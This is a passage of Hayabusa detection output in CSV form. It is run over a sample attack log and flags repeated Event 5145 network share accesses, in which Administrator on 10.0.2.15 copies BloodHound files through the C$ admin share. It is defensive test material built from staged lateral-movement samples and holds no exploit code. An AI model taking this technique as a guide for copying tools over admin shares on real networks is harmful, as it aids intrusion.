Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\attributes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\core : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\data : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\deferred : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\effects : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\event : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\exports : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\manipulation : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\queue : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\traversing : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\var : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\js-tokens : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jszip : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\keycode : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\keycode\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\keycode\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.798 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\dist\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.808 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.808 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.gexf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.808 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.graphml : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.image : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.spreadsheet : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.svg : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.xlsx : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.helpers.graph : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.dagre : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.forceAtlas2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.forceLink : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.fruchtermanReingold : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.noverlap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.parsers.cypher : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.parsers.gexf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.parsers.json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.pathfinding.astar : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.activeState : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.animate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.colorbrewer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.design : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.dragNodes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.edgeSiblings : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.filter : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.fullScreen : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.generators : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.keyboard : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.lasso : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.leaflet : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.legend : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.locate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.neighborhoods : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.poweredBy : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.relativeSize : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.select : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.tooltips : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.customEdgeShapes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.edgeLabels : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.glyphs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : 